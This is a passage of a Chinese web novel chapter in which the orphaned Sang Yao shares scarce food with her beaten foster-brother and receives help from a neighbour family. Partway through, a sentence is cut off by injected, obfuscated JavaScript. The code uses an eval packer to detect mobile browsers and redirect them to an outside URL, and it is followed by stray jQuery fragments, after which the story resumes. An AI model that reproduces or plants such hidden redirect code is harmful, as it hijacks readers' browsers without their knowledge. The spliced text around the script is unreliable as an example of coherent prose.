……
万物凋敝的季节，叶落草枯。
几只麻雀不时在枯枝与草间来回，飞来飞去的忙碌着。
冬日的寥瑟，落在有闲情雅致之人的眼中，也是极美的风景，然而桑窈看着，却无欣赏之情，不觉趣味悠闲，反倒咽了咽口水。
昨晚喝的菜粥早已消化殆尽，此时的她衣裳单薄屹立在冷风中，只能紧紧抱着自己，忍受着身体的又冷又饿。
一刻钟过点，张琼舟回来了，递给她一个纸包。
馒头的麦香，隔着纸包也能闻得到。
她取出一个给对方，“拿着。”
“给我的？”张琼舟咽了咽口水。
他看着是个读书人模样，只是身上的长衫已洗到发白，上面撂着好几个补丁，显然生活也很不好，想敞开肚皮吃饱是不可能的事。
“你留着……”
“我给你，你就拿着。”桑窈重新塞给他，动容而真诚，“我还有事找你帮忙。”
“你说。”他到底没抵住馒头有诱惑，在得知还能帮她之后，没有再拒绝。
她取出那包铜钱，交给他，“你上次不是说你爹疼得厉害，吃了胡郎中的安神散才能睡个好觉，你帮我买一包。”
在他疑惑的目光中，她解释道：“赵弃又挨打了，疼得夜里都睡不着。”
“赵弃他还好吗？”他赶紧问。
“不好。”
他不由黯然，“他娘也太狠心了，为什么老打他，他那么好的一个人，老天对他实在是不公平……你还给他买安神散，是不是不恨他了？”
她摇了摇头，算是回答。
“那就好！”他高兴起来，“我就知道你心里还有他，他以前对你那么好，你肯定不是真的恨他。”
“以前是我想错了，我要恨的人不是他。”
“对，他娘心太狠，还有你爹……”到底当着人面，非议人的父母，他意识到不对后止了话，“香君，对不起，我不是有意说这些。”
“你说的都是事实，他们不配为人父母。”
除了安神散，她还要买一双鞋子。
张琼舟听到她的话后，下意识低头看去，只看了一眼就移开眼。
她动了动因为太过憋屈而伸出鞋洞的大脚拇指，冻到发麻的脚趾僵硬着，收都收不回去，比她如今的处境还有窘迫。
“这事你不要告诉任何人，包括你爹娘。”
等他应下后，她再三叮嘱，又道：“琼舟，这几年，谢谢你。”
如果不是这个发小帮衬着，帮着做一些事，原主怕是根本挨不过来。
他走后，她立马进门关门闩门，一气呵成。
怀揣着那三个馒头，听到自己腹内越发喧嚣的叫唤，她感觉自己口水都在流。先是将两个馒头藏好，再去到厨房，揭开木锅盖，把里面剩下的水舀到碗里，再端着去柴房。
柴房里的人听到动静，空洞漆黑的眼珠子似乎动了动。
她拿出留下的馒头，一分为二，一半塞到他手里，不管他有没有听，也不管他在不在意，自顾地说起馒头的来历。
等说完了，再背过身去。
一时之间，只有吃东西的声音，有她的，也有他的。
她暗暗松了一口气，为他没有拒绝。
这样的宁静时刻，原主的记忆中曾有过无数次。
秦甲还在的那两年，他们是一对好兄妹，原主天天跟在他身后，哥哥长哥哥短的，他们一起玩一起闹，一起上下学。
而他们的夫子，就是张琼舟的父亲。
张夫子曾说过，寒九霄是他见过的天资最高之人，假以时日一定能出人头地。
秦甲很是欢喜，与之饮酒后放话，但凡是有他一口气在，必是要将寒九霄这个干外孙供出来。
故人言犹在耳，死时尚不瞑目，眼下怕是九泉之下都无法安息。
张夫子极其看中天赋过人的学生，在他死后主动减免寒九霄的束脩，曾经说过无论如何也不能让这个学生荒废的话。
可惜好人未必有好报，福无双至，祸不单行。秦宝珠死的那一年，张夫子得了重病，倒在床上起不来，更不可能再继续教书。
一开始还能给寒九霄布置功课，教导其自学，并贴补一二。后来因为治病的缘故，家里的银钱也花光了，不仅无法教导，也没有能力接济。
张家这一落败，正是原主和寒九霄苦难日子的开始，也是他们关系恶化的端由。
由爱到恨，最是折磨人心，也最是痛苦。
她理解原主的恨，也懂原主的痛苦。
那是至亲逝去后独留自己的惶然无依，是曾经的美好被生生碾碎的愤怒，如同树死后根还在的挣扎，也像是漫天风雪中看不到前路的绝望。
“这几年我对你很不好，你恨我吗？”
少年的动作微微一滞，随即恢复正常，将最后一点馒头送入口中。
……
偏房的窗户上，破烂的油布被风着，倔强地不肯离去，恰似当年怕孙女受冷，而仔仔细细将油布钉上之人残留的温暖。
桑窈去厨房取了水桶，提着出门，拐了两个弯，来到附近百姓生活取水的古井旁。盘根错节的古樟树，还是一团绿色。
有人看到她过来，或是怜悯，或是无奈，还有人主动帮她取水，还帮着倒进她的水桶里。
“看这孩子瘦的……”
她听到有人感慨，麻木的脸上焕发出不一样的色彩来，“婶子，我很快就能吃饱饭了，我听赵弃他娘说，马娘子愿出五两银子买我。”
马娘子三个字一出，有人更是露出不忍之色。
“那个李良真不是东西，宝珠也是瞎了眼，还有那个赵金娘，更是黑心烂肝的，好好的孩子就要被祸害了。”
“这都是命啊。以前老秦和宝珠还在时，把这孩子看得跟眼珠子似的，养得干干净净，吃的穿的没有一样不好，现如今没得吃没得穿，埋汰得不像样子。”
等她挑着水走远，还能听到重重的叹息声，“真是造孽啊。”
她一路未停，快到秦家门外时，老远看到附近有人在徘徊。那人是个衣着虽有补丁，却很干净的妇人，皮肤白净且发髻利落，正是张琼舟的娘。
张母和秦宝珠交好，对原主如同自己的亲生女儿，一看到她挑水回来就红了眼，目光满是怜惜与不忍，从篮子里取出两个野菜团子，塞到她手上。
菜团子不大，松松散散的，明显搁的麦面不多。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313159|198897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将菜团子推回去，“师娘，你们眼下日子也艰难，不要惦记我们。”
秦张两家还未生变时，原主和寒九霄与张琼舟时常玩在一起，没少在张家留饭。张母总是尽心给他们做饭食，还会给他们买点心小吃和零嘴。
那几年的时光，哪怕在她一个旁观者看来都是美好的。
而今张夫子的病掏空了家底，张家也是吃了上顿没下顿的，张琼舟还太小，无法如劳力那般谋生，只能给别人抄书换些银钱，张母则靠着帮别人浆洗衣服，勉强混口饭吃。
这两个菜团子，或许就是母子俩一顿的口粮。
“你拿着，师娘也帮不了你们多少。”
来回推了几次，她最终收下，“谢谢师娘。”
张母抹着眼泪，安慰她，“你和赵弃多忍忍，等你们长大了，一切都会好起来的。”
她低着头，语气沉沉，“我可能长不大。”
“孩子……”张母一把将她抱住，泣不成声，“不会的，你祖父和你娘会保佑你，你一定能长大……”
她也跟着哭，哭了好一会儿，两人才分开。
张母犹豫了几下，还是问出口，“赵弃他……他还好吗？”
张家人再是恼恨赵金娘，对寒九霄却只是同情，一则是因为他受的苦，二则是因为他是个让人心疼的孩子，话少勤快，好学又稳重，不光是对原主，便是对比自己年长几个月的张琼舟，他都像个兄长一样照顾有加。
“他不太好，这次他娘打他打的狠，腿都打断了……但师娘放心，我现在知道错不在他，他和我一样是可怜人，我会照顾他的。”
张母没想到会听到她这样的话，当下又是难过又是欣慰，难过于寒九霄的遭遇，欣慰于她的明理，一时哽咽不已。
“赵弃那孩子也太可怜了，那是亲娘吗？后娘都没有几个这么恶毒的……难为你这么懂事……你们都要好好的，只盼着老天有眼，保佑你们平平安安长大……”
对于日子艰难的人而言，能活下去长大成人已是最大的期望。
张母走后，她将水倒进水缸中，再去找寒九霄。
柴房角落里的少年看着姿势有些细微变化，旁边还摆放着她之前扔掉的那根棍子，应该是趁着无人时起来方便过。
她念叨着说起张母来过的事，把其中一个菜团子递给他。
他的手指很长，瘦得吓人，皮肤白却很粗糙。乱发盖住他的额头，挡着他的眉眼，让人看不清他垂着的眼皮之下是什么样的目光。
还没有拳头大的菜团子，几口就下肚，根本填不满正长身体的胃。
她转过身来时，他已重新闭上眼睛，看着像是睡去，或者说是死去。
残破的的躯体，褴褛的衣服，如同苟延残喘的蝼蚁。
她猛然间有种说不出来的难过，心里胀胀的，酸酸的，又沉得厉害。仅是过了一天而已，她却仿佛和他认识了一辈子。
他的生平，他的死后，她都知道，而今他的苦难，她也亲眼见证，但她能改变这一切吗？
“你已能做工养活自己，为什么不逃？”
还是没有人回答她，只有无声的寂静。
当她离开时，少年蓦地睁开眼睛，那眸底的荒芜似是被打扰。